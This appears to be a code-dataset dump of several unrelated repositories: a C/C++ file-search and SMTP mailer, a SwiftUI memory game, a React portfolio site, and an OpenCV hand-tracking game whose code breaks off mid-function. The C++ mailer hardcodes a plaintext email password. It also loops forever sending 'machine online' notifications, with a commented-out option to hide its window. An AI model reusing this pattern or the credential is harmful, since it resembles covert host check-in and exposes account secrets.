config_niu.host = "smtp.exmail.qq.com";
config_niu.account = "<EMAIL>";
config_niu.password = "<PASSWORD>";
config_niu.from = "<EMAIL>";
config_niu.to = "<EMAIL>";
current_path = _T("F:/D200_POS_SVN/D200_POS");//d200\\find_test");F:\D200_POS_SVN\D200_POS\Driver
int rest;//C://Users//YJ-User17//Desktop//log//pos//pos_244.pos
//
FILE * pos_p = fopen("F:/D200_POS_SVN/D200_POS/Project/MDK-ARM/Project.uvprojx","rb");
if( pos_p == NULL )
{
printf("open fail\r\n");
return (-1);
}
pos_len = fread(pos_244,1,sizeof(pos_244),pos_p );
/*----------------------------------------------------------------------------------------------------------------*/
//FILE * h_file = fopen("h_file.bin","rb");
//fread(hbuffer,1,sizeof(hbuffer),h_file );
//fclose(h_file);
///*----------------------------------------------------------------------------------------------------------------*/
//FILE * h1_file = fopen("h1_file.bin","rb");
//fread(hbuffer_path,1,sizeof(hbuffer_path),h1_file);
//fclose(h1_file);
/*----------------------------------------------------------------------------------------------------------------*/
/*while(1)
{
*/
rest = FindBmpFile(current_path);
/*------------------------------*/
//FILE * h1_file = fopen("h1_file.bin","wb+");
//fwrite(hbuffer_path,1,sizeof(hbuffer_path),h1_file);
//fclose(h1_file);
/*------------------------------*/
//delete file
/* USES_CONVERSION;
for( int i = 0 ; i < 169 ; i ++ )
{
if( h_va[i] != 0xff )
{
CString path = A2T(hbuffer_path[i]);
DeleteFile(path);
printf("%s %d\r\n",hbuffer_path[i],file_add_cnt++);
}
}*/
/*****************************************************************************************************************/
printf("%s total: %d\r\n",dds,file_find_cnt);
/* if( file_add_cnt < DEEP_DG )
{
break;
}
file_add_cnt = 0;
}*/
//int ret = send_email(&config_niu,"123","456");
//if( ret == 0 )
//{
// printf("send mail ok\r\n");
//}else
//{
// printf("send mail err\r\n");
//}
return 0;
}
<file_sep>
#include "stdafx.h"
#include <stdio.h>
#include "base64.h"
#include <winsock.h>
//#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
#pragma comment(lib, "Ws2_32.lib")
//
int init_socket();
void socket_close();
SOCKET socket_connect(const char * hostname, int port);
void get_sockbuf();
void send_socket(const char *data);
SOCKET sockfd = 0;
static unsigned int test_start = 0;
static char sub_buffer[200];
int main()
{
while(1)
{
char data[1024] = { 0 };
char base64_data[2048] = { 0 };
int i = 0;
init_socket();
sockfd = socket_connect("smtp.exmail.qq.com", 25);
//接收服务器信息
get_sockbuf();
//发送helo信息
send_socket("helo smtp.exmail.qq.com\r\n");
//接收服务器应答
get_sockbuf();
//发送登录请求
send_socket("auth login\r\n");
//接收服务器应答
get_sockbuf();
//发送编码后的邮箱账号
memset(data, 0, sizeof(data));
strcpy(data, "<EMAIL>");
base64_encode(data, strlen(data), base64_data);
i = strlen(base64_data);
base64_data[i] = '\r';
base64_data[i+1] = '\n';
send_socket(base64_data);
//接收服务器应答
get_sockbuf();
//发送编码后的邮箱密码
memset(data, 0, sizeof(data));
memset(base64_data, 0, sizeof(base64_data));
strcpy(data, "3361100niu");
base64_encode(data, strlen(data), base64_data);
i = strlen(base64_data);
base64_data[i] = '\r';
base64_data[i + 1] = '\n';
send_socket(base64_data);
//接收服务器应答
get_sockbuf();
//mail from
send_socket("MAIL FROM:<<EMAIL>>\r\n");
//接收服务器应答
get_sockbuf();
//rcpt to
send_socket("rcpt to:<<EMAIL>>\r\n");
//接收服务器应答
get_sockbuf();
//正文
send_socket("data\r\n");
memset(sub_buffer,0,sizeof(sub_buffer));
sprintf(sub_buffer,"subject:上线通知 %s %d\r\n",__TIME__,test_start++);
send_socket(sub_buffer);
send_socket("\r\n上线机器为:niu!\r\n.\r\n");
//接收服务器应答
get_sockbuf();
//退出
send_socket("quit\r\n");
//接收服务器应答
get_sockbuf();
socket_close();
/*----------*/
Sleep(60*1000);
}
}
void send_socket(const char *data)
{
if (send(sockfd, data, strlen(data), 0) < 0)
{
printf("发送失败!\n");
return;
}
printf("%s", data);
}
void get_sockbuf()
{
static char buf[1024] = { 0 };
memset(buf, 0, sizeof(buf));
if (recv(sockfd, buf, sizeof(buf), 0) < 0)
{
return;
}
printf("%s", buf);
}
int init_socket()
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(1, 1);
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0)
{
return -1;
}
if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
{
WSACleanup();
return -1;
}
return 0;
}
SOCKET socket_connect(const char * hostname, int port)//连接套接字
{
struct hostent*host;
unsigned long ip = 0;
if (init_socket() == -1)
return 0;
SOCKET st = socket(AF_INET, SOCK_STREAM, 0);
if (st == 0)
return 0;
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
ip = inet_addr(hostname);
if (ip == INADDR_NONE)
{
host = gethostbyname(hostname);
addr.sin_addr = *((struct in_addr*)(host->h_addr_list[0]));
}
else
{
addr.sin_addr.s_addr = inet_addr(hostname);
}
if (connect(st, (struct sockaddr *)&addr, sizeof(addr)) == -1)
{
printf("连接失败\n");
return 0;
}
else
{
return st;
}
}
void socket_close()
{
closesocket(sockfd);
WSACleanup();
}
<file_sep>
typedef struct {
char * host;
char * account;
char * password;
char * from;
char * to;
}email_config;
int send_email(email_config *config,char * subject,char * data);
|
0ce7e98a52d4e02d92f2d50561f6cde495b46f64
|
[
"C",
"C++"
] | 3 |
C++
|
niu14789/FINDX
|
5f5dde6666db51d02bb4ba17539b64cec27e818e
|
673746e48146d7f90d35b75c7fc97bb617fc2988
|
refs/heads/main
|
<repo_name>EZ4ZZW/Memorize<file_sep>/Memorize/MemoryGame.swift
//
// MemoryGame.swift
// Memorize
//
// Created by <NAME> on 2021/3/31.
//
import Foundation
struct MemoryGame<CardContent> {
var cards: Array<Card>
func choose(card: Card) {
//card.ChangeFaceUp()
print("card chosen: \(card)")
}
init(numberOfParisOfCards: Int, cardContentFactory: (Int) -> CardContent) {
cards = Array<Card>()
for pairIndex in 0..<numberOfParisOfCards {
let content = cardContentFactory(pairIndex)
cards.append(Card(id: pairIndex*2, content: content))
cards.append(Card(id: pairIndex*2+1, content: content))
}
}
struct Card: Identifiable {
var id: Int
var isFaceUp: Bool = false
var isMatched: Bool = false
var content: CardContent
mutating func ChangeFaceUp() {
self.isFaceUp = !self.isFaceUp
}
}
}
<file_sep>/README.md
# Memorize
A Simple SwiftUI Project
# Statement
This is a project make by CS193P
|
5ab7faeb85de5c4b538b7f263c2905841b2f0524
|
[
"Swift",
"Markdown"
] | 2 |
Swift
|
EZ4ZZW/Memorize
|
6f747795682cb892c760c2e0b9d72ee6ee677a1c
|
4b28103f8a01a35d3e925aae02ff4231df363e35
|
refs/heads/master
|
<repo_name>JaredRamirezDiaz/JaredRamirezDiaz.github.io<file_sep>/src/containers/Prueba.js
import React from "react";
import { MyImage, Hero } from "../components";
const Prueba = () => {
const formConfig = {};
return (
<>
<Hero />
<div className="columns borde has-background-primary is-dark">
<div className="column is-3">uno</div>
<div className="column is-3 ">Dos</div>
<div className="column is-3">Tres</div>
<div className="column is-3">cuatro</div>
</div>
</>
);
};
export default Prueba;
<file_sep>/src/components/Sidebar.js
import React from "react";
import { HiBriefcase, HiOutlineLocationMarker } from "react-icons/hi";
import { GiGraduateCap } from "react-icons/gi";
import {
AiOutlinePhone,
AiOutlineMenuFold,
AiOutlineMenuUnfold,
AiFillHome,
} from "react-icons/ai";
import { RiContactsBookFill } from "react-icons/ri";
import {
openSidebar,
closeSidebar,
openMobilSidebar,
closeMobilSidebar,
} from "../store/actions/site.actions";
import { useDispatch, useSelector } from "react-redux";
import { Link } from "react-router-dom";
const Sidebar = () => {
const isSidebarOpen = useSelector((state) => state.site.isSidebarOpen);
const isMobilSidebarOpen = useSelector(
(state) => state.site.isMobilSidebarOpen
);
const dispatch = useDispatch();
const closeBar = () => {
dispatch(closeSidebar());
};
const openbar = () => {
dispatch(openSidebar());
};
const openMobilbar = () => {
dispatch(openMobilSidebar());
};
const closeMobilbar = () => {
dispatch(closeMobilSidebar());
};
return (
<>
<div
class="has-background-primary has-text-info is-size-5 has-text-centered"
style={{
width: "30px",
// paddingTop: "30vh",
height: "100vh",
}}
id="sideBar"
>
<span
className="is-size-4 is-hidden-mobile is-hidden-touch "
style={{ cursor: "pointer" }}
onClick={isSidebarOpen ? closeBar : openbar}
>
{isSidebarOpen ? "<" : ">"}
</span>
<span
className="is-size-4 is-hidden-desktop "
style={{ cursor: "pointer" }}
onClick={isMobilSidebarOpen ? closeMobilbar : openMobilbar}
>
{isMobilSidebarOpen ? <AiOutlineMenuFold /> : <AiOutlineMenuUnfold />}
</span>
<div
className=""
style={{
// marginTop: "20vh",
display: "flex",
flexDirection: "column",
justifyContent: "space-around",
/* align-items: center; */
height: "90%",
paddingTop: "8vh",
paddingBottom: "8vh",
}}
>
<Link to="/" className="has-text-info">
<AiFillHome
className=""
cursor="pointer"
style={{ width: "30px", height: "20px", margin: "5px 0px" }}
/>
</Link>
<span>·</span>
<HiBriefcase
onClick={closeBar}
className=""
cursor="pointer"
style={{ width: "30px", height: "20px", margin: "5px 0px" }}
/>
<span>·</span>
<GiGraduateCap
onClick={closeBar}
className=""
cursor="pointer"
style={{ width: "30px", height: "20px", margin: "5px 0px" }}
/>
<span>·</span>
<RiContactsBookFill
onClick={closeBar}
className=""
cursor="pointer"
style={{ width: "30px", height: "20px", margin: "5px 0px" }}
/>
</div>
</div>
</>
);
};
export default Sidebar;
<file_sep>/src/components/Sidenav.js
import React from "react";
import { useDispatch, useSelector } from "react-redux";
import MyImage from "./MyImage";
import { FotoCV2, FotoCV } from "../assets";
import {
openMobilSidebar,
closeMobilSidebar,
} from "../store/actions/site.actions";
import { useSpring, a } from "react-spring";
import {
AiOutlinePhone,
AiOutlineMenuFold,
AiOutlineMenuUnfold,
AiFillHome,
} from "react-icons/ai";
import { Link } from "react-router-dom";
const Sidenav = () => {
const isSidebarOpen = useSelector((state) => state.site.isSidebarOpen);
const isMobilSidebarOpen = useSelector(
(state) => state.site.isMobilSidebarOpen
);
const dispatch = useDispatch();
const openMobilbar = () => {
dispatch(openMobilSidebar());
};
const closeMobilbar = () => {
dispatch(closeMobilSidebar());
};
const barWidth = useSpring({
to: {
width: isSidebarOpen ? 280 : 0,
},
// from: { width: 0 },
});
const mobilBarWidth = useSpring({
to: {
width: isMobilSidebarOpen ? 330 : 0,
},
// from: { width: 0 },
});
return (
<>
<a.div
style={{
...barWidth,
// width: isSidebarOpen ? "250px" : "200px",
// display: isSidebarOpen ? "block" : "none",
height: "100vh",
borderRight: "solid #6599a5 1px",
}}
className="has-background-primary is-centered is-justified is-hidden-mobile is-hidden-touch overflowless"
>
<div className="is-centered columns">
<MyImage foto={FotoCV2} posicion="bottom" maxWidth="200px" />
</div>
<div
className="panel "
style={{ display: isSidebarOpen ? "block" : "none" }}
>
<aside class="menu has-text-right">
<p class="menu-label">General</p>
<ul class="menu-list is-info">
<li>
<a>
Dashboard
<AiFillHome className="ml-2 " />
</a>
</li>
<li>
<a>Customers</a>
</li>
</ul>
<p class="menu-label">Administration</p>
<ul class="menu-list">
<li>
<a>Team Settings</a>
</li>
<li>
<a class="is-active">Manage Your Team</a>
<ul>
<li>
<a>Members</a>
</li>
<li>
<a>Plugins</a>
</li>
<li>
<a>Add a member</a>
</li>
</ul>
</li>
<li>
<a>Invitations</a>
</li>
<li>
<a>Cloud Storage Environment Settings</a>
</li>
<li>
<a>Authentication</a>
</li>
</ul>
<p class="menu-label">Transactions</p>
<ul class="menu-list">
<li>
<a>Payments</a>
</li>
<li>
<a>Transfers</a>
</li>
<li>
<a>Balance</a>
</li>
</ul>
</aside>
</div>
</a.div>
<a.div
class=" is-fixed-top navbar has-background-primary is-hidden-desktop has-text-centered has-text-white overflowless"
style={{
...mobilBarWidth,
// width: isMobilSidebarOpen ? "75vw" : "0px",
// display: isMobilSidebarOpen ? "block" : "none",
height: "100vh",
}}
id="Sidenav"
>
<div
className="panel mx-2"
style={{ display: isSidebarOpen ? "block" : "none" }}
>
<MyImage />
<aside class="menu has-text-right">
<p class="menu-label">General</p>
<ul class="menu-list is-info">
<li>
<Link class="is-active" to="/prueba">
Dashboard
<AiFillHome className="ml-2 " />
</Link>
</li>
<li>
<a>Customers</a>
</li>
</ul>
<p class="menu-label">Administration</p>
<ul class="menu-list">
<li>
<a>Team Settings</a>
</li>
<li>
<a>Manage Your Team</a>
<ul>
<li>
<a>Members</a>
</li>
<li>
<a>Plugins</a>
</li>
<li>
<a>Add a member</a>
</li>
</ul>
</li>
<li>
<a>Invitations</a>
</li>
<li>
<a>Cloud Storage Environment Settings</a>
</li>
<li>
<a>Authentication</a>
</li>
</ul>
<p class="menu-label">Transactions</p>
<ul class="menu-list">
<li>
<a>Payments</a>
</li>
<li>
<a>Transfers</a>
</li>
<li>
<a>Balance</a>
</li>
</ul>
</aside>
</div>
<button
className="btn"
onClick={!isMobilSidebarOpen ? openMobilbar : closeMobilbar}
>
Hola
</button>
</a.div>
</>
);
};
export default Sidenav;
<file_sep>/src/store/actions/site.actions.js
export const SET_SIDEBAR_OPEN = "SET_SIDEBAR_OPEN";
export const SET_SIDEBAR_CLOSE = "SET_SIDEBAR_CLOSE";
export const SET_MOBIL_SIDEBAR_OPEN = "SET_MOBIL_SIDEBAR_OPEN";
export const SET_MOBIL_SIDEBAR_CLOSE = "SET_MOBIL_SIDEBAR_CLOSE";
export const openSidebar = () => ({
type: SET_SIDEBAR_OPEN,
playload: null,
});
export const closeSidebar = () => ({
type: SET_SIDEBAR_CLOSE,
playload: null,
});
export const openMobilSidebar = () => ({
type: SET_MOBIL_SIDEBAR_OPEN,
playload: null,
});
export const closeMobilSidebar = () => ({
type: SET_MOBIL_SIDEBAR_CLOSE,
playload: null,
});
<file_sep>/src/components/index.js
import Hero from "./Hero/Hero";
import MyImage from "./MyImage";
import Sidebar from "./Sidebar";
import Sidenav from "./Sidenav";
import Contact from "./Sections/Contact";
import Profile from "./Sections/Profile";
import Skills from "./Sections/Skils";
import Works from "./Galery/Works";
export { Hero, MyImage, Sidebar, Sidenav, Contact, Profile, Works, Skills };
<file_sep>/src/components/Sections/Profile.js
import React from "react";
const Profile = () => {
return (
<>
<div className="column ">
<p class="has-background-light has-text-primary is-bebas is-size-3 mt-4">
Perfil
</p>
<p className="px-5 has-text-justified is-size-6 is-Quicksand">
Estudiante de Ingeniería en Sistemas Computacionales con actitud para
aprender y trabajar en equipo, responsable y comprometido con el
trabajo. Con facilidad de aprendizaje y alta capacidad autodidacta,
apasionado por la tecnología, por el diseño gráfico y la música.
</p>
</div>
</>
);
};
export default Profile;
<file_sep>/src/components/Galery/Works.js
import React, { useState, useCallback } from "react";
import Gallery from "react-photo-gallery";
import {
HeroesDeLaBiblia,
NocheMexicana,
ItsurGeek1,
PosterUvas,
ItsurGeek,
FinalTrompeta,
AnclaDalvacion,
AvatarWallpaper,
Ancla,
Ensamble,
LionAndLamb,
LonaV,
EfectoPermanencia,
ConciertoGif,
} from "../../assets/index";
import Carousel, { Modal, ModalGateway } from "react-images";
const photos = [
{
src: `${HeroesDeLaBiblia}`,
width: 6,
height: 4,
},
{
src: `${NocheMexicana}`,
width: 6,
height: 10,
},
{
src: `${ItsurGeek1}`,
width: 6,
height: 4,
},
{
src: `${AnclaDalvacion}`,
width: 6,
height: 10,
},
{
src: `${FinalTrompeta}`,
width: 6,
height: 10,
},
{
src: `${ItsurGeek}`,
width: 6,
height: 4,
},
{
src: `${PosterUvas}`,
width: 6,
height: 10,
},
{
src: `${AvatarWallpaper}`,
width: 6,
height: 4,
},
{
src: `${Ancla}`,
width: 6,
height: 10,
},
{
src: `${Ensamble}`,
width: 6,
height: 10,
},
{
src: `${ConciertoGif}`,
width: 6,
height: 4,
},
{
src: `${EfectoPermanencia}`,
width: 4,
height: 5,
},
{
src: `${LionAndLamb}`,
width: 6,
height: 10,
},
{
src: `${LonaV}`,
width: 6,
height: 10,
},
{
src: `${HeroesDeLaBiblia}`,
width: 6,
height: 4,
},
{
src: `${LionAndLamb}`,
width: 6,
height: 10,
},
{
src: `${LonaV}`,
width: 6,
height: 10,
},
];
const Works = ({ className }) => {
const [currentImage, setCurrentImage] = useState(0);
const [viewerIsOpen, setViewerIsOpen] = useState(false);
const openLightbox = useCallback((event, { photo, index }) => {
setCurrentImage(index);
setViewerIsOpen(true);
}, []);
const closeLightbox = () => {
setCurrentImage(0);
setViewerIsOpen(false);
};
return (
<div className={className}>
<Gallery photos={photos} onClick={openLightbox} />
<ModalGateway>
{viewerIsOpen ? (
<Modal onClose={closeLightbox}>
<Carousel
currentIndex={currentImage}
views={photos.map((x) => ({
...x,
srcset: x.srcSet,
caption: x.title,
}))}
/>
</Modal>
) : null}
</ModalGateway>
</div>
);
};
export default Works;
<file_sep>/src/store/reducers/root.reducer.js
import { combineReducers } from "redux";
import siteReducers from "./site.reducers";
export default combineReducers({
site: siteReducers,
});
<file_sep>/src/components/MyImage.js
import React from "react";
import { FotoCV } from "../assets";
import { useSpring, animated } from "react-spring";
const MyImage = ({ style, foto, posicion = "center", maxWidth = "300px" }) => {
const props3 = useSpring({
// config: { duration: 500 },
opacity: 1,
delay: 850,
from: { opacity: 0 },
});
return (
<>
<animated.div
className="column is-flex"
style={{
...props3,
// ...props3,
// marginTop: "-90px",
// backgroundColor: "none",
// backgroundImage: [`url(${FotoCV})`],
// backgroundPosition: "top",
// backgroundSize: "cover",
// border: "7px double white",
// borderRadius: "50%",
maxWidth: `${maxWidth}`,
// zIndex: 1000,
}}
>
<img
class="image is-square "
style={{
...style,
width: "101%",
backgroundColor: "red",
borderRadius: "50%",
background: `url(${foto})`,
backgroundPosition: `${posicion}`,
backgroundSize: "cover",
// maxWidth: "80px",
maxHeight: "80px",
border: "4px double white",
}}
></img>
</animated.div>
</>
);
};
export default MyImage;
<file_sep>/src/components/Sections/Skils.js
import React from "react";
import { HiOutlineCode } from "react-icons/hi";
import { MdWeb } from "react-icons/md";
import { FaJava, FaBootstrap, FaReact, FaHtml5 } from "react-icons/fa";
import {
SiCsharp,
SiPhp,
SiJavascript,
SiAdobeaftereffects,
SiAdobephotoshop,
SiAdobeillustrator,
SiAdobepremiere,
SiAdobeaudition,
SiBulma,
SiCss3,
} from "react-icons/si";
import { RiPencilRulerLine } from "react-icons/ri";
const Skils = () => {
return (
<>
<div className="row has-background-light has-text-primary my-5 py-3 has-text-centered ">
<span className="is-size-3 px-2 is-bebas has-background-light">
{" "}
Competencias Técnicas
</span>
<hr className="has-background-primary" style={{ marginTop: "-25px" }} />
<div className="row columns ml-3 mr-5 my-4">
<div
className="column is-4 has-text-primary has-background-light "
style={{
border: "solid #2c475a 0px",
borderRadius: "0%",
}}
>
<div className="rows is-centered ">
<div className="">
<HiOutlineCode
className=""
style={{ fontSize: "80px", marginBottom: "-15px" }}
/>
</div>
<span className=" m-0 is-size-4 is-bebas ">Programación</span>
<hr className="m-0 has-background-primary " />
<div className=" my-2 row columns is-centered">
<FaJava className=" is-size-3 mx-1" />
<SiCsharp className=" is-size-3 mx-1" />
<SiPhp className=" is-size-3 mx-1" />
<SiJavascript className=" is-size-3 mx-1" />
</div>
</div>
</div>
<div
className="column is-4 has-text-primary has-background-light "
style={{
border: "solid #2c475a 0px",
borderRadius: "0%",
}}
>
<div className="rows is-centered">
<div className="">
<MdWeb
className=""
style={{ fontSize: "80px", marginBottom: "-15px" }}
/>
</div>
<span className=" m-0 is-size-4 is-bebas">Web FrontEnd</span>
<hr className="m-0 has-background-primary mx-3" />
<div className=" my-2 row columns is-centered">
<FaBootstrap className=" is-size-3 mx-1" />
<SiBulma className=" is-size-3 mx-1" />
<SiCss3 className=" is-size-3 mx-1" />
<FaHtml5 className=" is-size-3 mx-1" />
<FaReact className=" is-size-3 mx-1" />
</div>
</div>
</div>
<div
className="column is-4 has-text-primary has-background-light "
style={{
border: "solid #2c475a 0px",
borderRadius: "0%",
}}
>
<div className="rows is-centered">
<div className="">
<RiPencilRulerLine
className=""
style={{ fontSize: "80px", marginBottom: "-15px" }}
/>
</div>
<span className=" m-0 is-size-4 is-bebas">Diseño gráfico</span>
<hr className="m-0 has-background-primary mx-3" />
<div className=" my-2 row columns is-centered">
<SiAdobeillustrator className=" is-size-3 mx-1" />
<SiAdobephotoshop className=" is-size-3 mx-1" />
<SiAdobeaftereffects className=" is-size-3 mx-1" />
<SiAdobepremiere className=" is-size-3 mx-1" />
<SiAdobeaudition className=" is-size-3 mx-1" />
</div>
</div>
</div>
</div>
</div>
</>
);
};
export default Skils;
|
4bd7602b36ae6b590c9d0081a4cdcf6d50c37ce7
|
[
"JavaScript"
] | 10 |
JavaScript
|
JaredRamirezDiaz/JaredRamirezDiaz.github.io
|
c10ee95cf0be06341cbbd56c9b24706cad78d375
|
1637de546fc7dd857e66488cabbbcb297ae057d4
|
refs/heads/master
|
<repo_name>xyt0056/PhyssiBird<file_sep>/README.md
PhyssiBird
==========
##Demo
https://www.youtube.com/watch?v=Ep8aZGkzRHI
##Intro
A mac game that capture user gesture to enable tangible interaction with the Angry bird game
I used ```penCV``` to detect user hands frame by frame.
Then we have two points
X
/ | --> ^
/ | | vertical difference -- vertical acceleration
X/___| --> |
| |
| |
v v
----->
horizontal difference -- horizontal acceleration
Then we can use physics to draw dots along prediction routes.
<file_sep>/cameradetect/main.cpp
//
// main.cpp
// mp4
//
// Created by Train on 10/25/13.
// Copyright (c) 2013 <NAME>. All rights reserved.
//
#include <iostream>
#include <opencv/highgui.h>
#include <opencv/cv.h>
#include <opencv2/opencv.hpp>
#include "opencv/highgui.h"
#include <cmath>
#include <math.h>
#include <fstream>
#include <iomanip>
#include <algorithm>
#include <string>
#include <thread>
#include <chrono>
#include "skinseg.h"
#include "fingertipdetect.h"
#include <time.h>
using namespace std;
using namespace cv;
#define CAMNUM 0
#define BACKGROUND_THRES 10
#define PI 3.14159265
static CvScalar colors[] =
{
{{0,0,255}},
{{0,128,255}},
{{0,255,255}},
{{0,255,0}},
{{255,128,0}},
{{255,255,0}},
{{255,0,0}},
{{255,0,255}}
};
void backgroundsubtraction(IplImage* frame_img, IplImage* background_img);
CvPoint center(IplImage* img);
IplImage* getthresholdedimg(IplImage* im);
int main(){
int time_s, time_e;
int key;
//load object training image
IplImage *train_img;//hand
train_img = cvLoadImage("/Users/x/cpp/CAMERADETECT/training/hand.png");
//train object
skinseg skinsegmenter(train_img);
skinsegmenter.training();
//load t arget training image
IplImage *train_img2;//target
train_img2 = cvLoadImage("/Users/x/cpp/CAMERADETECT/training/fixed.png");
//train target
skinseg skinsegmenter2(train_img2);
skinsegmenter2.training();
IplImage* bk=cvLoadImage("/Users/x/cpp/CAMERADETECT/training/bk.jpg");
// Mat pig = pig_;
// cout <<pig;
CvCapture *capture = 0;
capture = cvCaptureFromCAM( CAMNUM );
if (!capture)
{
printf("create camera capture error");
system("pause");
exit(-1);
}
CvSize size = cvSize((int)cvGetCaptureProperty(capture, CV_CAP_PROP_FRAME_WIDTH), (int)cvGetCaptureProperty(capture, CV_CAP_PROP_FRAME_HEIGHT));
IplImage *frame, *frame_copy = 0;
frame = cvQueryFrame( capture );
IplImage *background_img = cvCreateImage( cvGetSize(frame), IPL_DEPTH_8U, 3 );
cvCopy( frame, background_img);
CvSeq* contours = 0;
CvRect bound_rect;
IplImage *grey_image = cvCreateImage(cvGetSize(frame),IPL_DEPTH_8U,1);
IplImage *test = cvCreateImage(cvGetSize(frame),8,3);
IplImage *image2 = cvCreateImage(cvGetSize(frame),8,3);
// cvNamedWindow("Real",0);
// cvNamedWindow("Threshold",0);
// int i = 0;
time_s = time(NULL);
while((frame = cvQueryFrame(capture)) != NULL)
{
if (!frame_copy){
frame_copy = cvCreateImage(cvSize(frame->width,frame->height),IPL_DEPTH_8U,frame->nChannels);
}
if (frame->origin == IPL_ORIGIN_TL){
cvCopy (frame, frame_copy, 0);
}
else{
cvFlip (frame, frame_copy, 0);
}
backgroundsubtraction(frame, background_img);
cvShowImage("background", background_img);
// //extra
//// IplImage * frame = cvQueryFrame(capture);
// IplImage * imdraw = cvCreateImage(cvGetSize(frame),8,3);
// cvSetZero(imdraw);
// cvFlip(frame,frame,1);
// cvSmooth(frame,frame,CV_GAUSSIAN,3,0);
// IplImage * imgyellowthresh = getthresholdedimg(frame);
//// cout <<cvGetSize(imgyellowthresh).width<<" "<<cvGetSize(imgyellowthresh).height;
//
//
// cvErode(imgyellowthresh,imgyellowthresh,NULL,3);
// cvDilate(imgyellowthresh,imgyellowthresh,NULL,10);
// cvShowImage("imgyell", imgyellowthresh);
// IplImage * img2 = cvCloneImage(imgyellowthresh);
// CvMemStorage* storage =cvCreateMemStorage(0);
//// cout <<contours;
// cvFindContours(imgyellowthresh,storage,&contours,sizeof(CvContour),CV_RETR_CCOMP,CV_CHAIN_APPROX_SIMPLE);
//
// // CvPoint points[2] = {};
// cout <<contours;
// for(; contours!=0; contours = contours->h_next)
// {
// bound_rect = cvBoundingRect(contours, 0); //extract bounding box for current contour
// cout <<bound_rect.x<<" "<<bound_rect.y<<" "<<bound_rect.x+bound_rect.width<<" "<<bound_rect.y+bound_rect.height;
// //drawing rectangle
// cvRectangle(frame_copy,
// cvPoint(bound_rect.x, bound_rect.y),
// cvPoint(bound_rect.x+bound_rect.width, bound_rect.y+bound_rect.height),
// CV_RGB(255,0,0),
// 2);
// }
//
// cvAdd(test,imdraw,test);
// cvShowImage("Real",frame);
// cvShowImage("Threshold",img2);
// cvShowImage("Final",test);
//
// //end of extra
IplImage *frame_resize = cvCreateImage(cvSize(frame->width/4, frame->height/4),IPL_DEPTH_8U,frame_copy->nChannels);
cvResize(frame_copy, frame_resize);
skinsegmenter.getskincolor(frame_copy);
skinsegmenter2.getskincolor(frame_copy);
IplImage *skin;
skin = skinsegmenter.getskinimg();
IplImage *skin2;
skin2 = skinsegmenter2.getskinimg();
IplImage *prediction = cvCreateImage(cvSize(bk->width,bk->height),IPL_DEPTH_8U,frame->nChannels);
cvResize(prediction, frame_resize);
// if(!bk) cout << "!";
// if(!prediction) cout << "@@@";
cvCopy(bk, prediction);
CvPoint handcenter = center(skin);
CvPoint targetcenter = center(skin2);
cvCircle(frame_copy, targetcenter, 9, cvScalar(0, 255, 255), -1);
cvCircle(frame_copy, handcenter, 9, cvScalar(0, 0, 255), -1);
cout << "target center x: " << handcenter.x << " y: " << handcenter.y << endl;
cout << "hand center x: " << targetcenter.x << " y: " << targetcenter.y << endl;
//draw prediction
// cvLine(prediction, handcenter,targetcenter, cvScalar(0, 0, 255), 3, 4);
CvSize canvasSize = cvGetSize(prediction);
cout << "the width is "<< canvasSize.width<<endl<<"the height is "<< canvasSize.height;
int A = abs(targetcenter.x - handcenter.x);
int B = abs(targetcenter.y - handcenter.y);
cout <<endl<< "A:"<<A<<" B:"<<B<<endl;
int vx = A*0.1;
int vy = B*0.1;
int vy_wall;
// int vx = 15;
// int vy = 15;
//
cout << "vx:"<<vx<<endl<<"vy:"<<vy;
if(vx != 0){
for(int i = 0; i < 50;i++){
CvPoint to_draw;
to_draw.x = i *(640/50);
// cout <<"x" <<to_draw.x;
int t = to_draw.x/vx;
// cout <<"t"<<t;
// cout <<"acc"<<2*pow(t,2)/2;
to_draw.y = (240-vy*t + 0.8*pow(t,2)/2);
// cout << "y"<<to_draw.y<<endl;
cvCircle(prediction, to_draw, 5, cvScalar(9, 227, 38), -1);
vy_wall = vy-0.8*t;
// cvLine(prediction, handcenter,targetcenter, cvScalar(0, 0, 255), 3, 4);
}
}
CvFont font;
double hScale=1.0;
double vScale=1.0;
int lineWidth=2;
string Force = "Force: ";
string Angle = "Angle: ";
string force_num = to_string(int(sqrt(pow(A,2)+pow(B, 2)))/10)+"N";
Force = Force+force_num;
// cout <<endl<<"the angle is "<<atan(B/A) * 180 / PI;
string angle_num = to_string(atan(float(A)/float(B)) * 180 / PI);
// double papram = 2/3;
Angle = Angle+angle_num;
int pr_y;
if(vx!=0){
cvLine(prediction, cvPoint(550,480),cvPoint(550,0), cvScalar(0, 0, 255), 3, 4);
int t = 550/vx;
pr_y = (240-vy*t + 0.8*pow(t,2)/2);
// cout << "y"<<to_draw.y<<endl;
cvCircle(prediction, cvPoint(550, pr_y), 9, cvScalar(0, 255, 255), -1);
// cvCircle(prediction, cvPoint(550, 400), 9, cvScalar(165, 206, 94), -1);
cvInitFont(&font,CV_FONT_HERSHEY_SIMPLEX|CV_FONT_ITALIC, hScale,vScale,0,lineWidth);
// cout << endl<<Force<<"<<"<<Angle<<endl;
cvPutText (prediction,Force.c_str(),cvPoint(350,30), &font, cvScalar(0, 255, 255));
cvPutText (prediction,Angle.c_str(),cvPoint(350,70), &font, cvScalar(0, 255, 255));
string result;
if (pr_y>480||pr_y<0) {
result = "Out of range";
}
else if (abs(pr_y-400)<20){
result = "Hit!";
cvCircle(prediction, cvPoint(550, pr_y), 20, cvScalar(2,5,255), -1);
}
else {
result = "Missed distance : " + to_string(400-pr_y);
cvLine(prediction,cvPoint(550,pr_y),cvPoint(550,400),cvScalar(240,119,34),3,4);
}
cvInitFont(&font,CV_FONT_HERSHEY_SIMPLEX|CV_FONT_ITALIC, hScale*0.7,vScale*0.7,0,lineWidth);
cvPutText (prediction,result.c_str(),cvPoint(350,110), &font, cvScalar(0, 255, 255));
string VX = "V_X: "+to_string(vx)+"m/s";
string VY = "V_Y: "+to_string(vy)+"m/s";
string VY_WALL = "V_Y HIT: "+to_string(vy_wall)+"m/s";
cvPutText (prediction,VX.c_str(),cvPoint(350,140), &font, cvScalar(144, 139, 232));
cvPutText (prediction,VY.c_str(),cvPoint(350,170), &font, cvScalar(144, 139, 232));
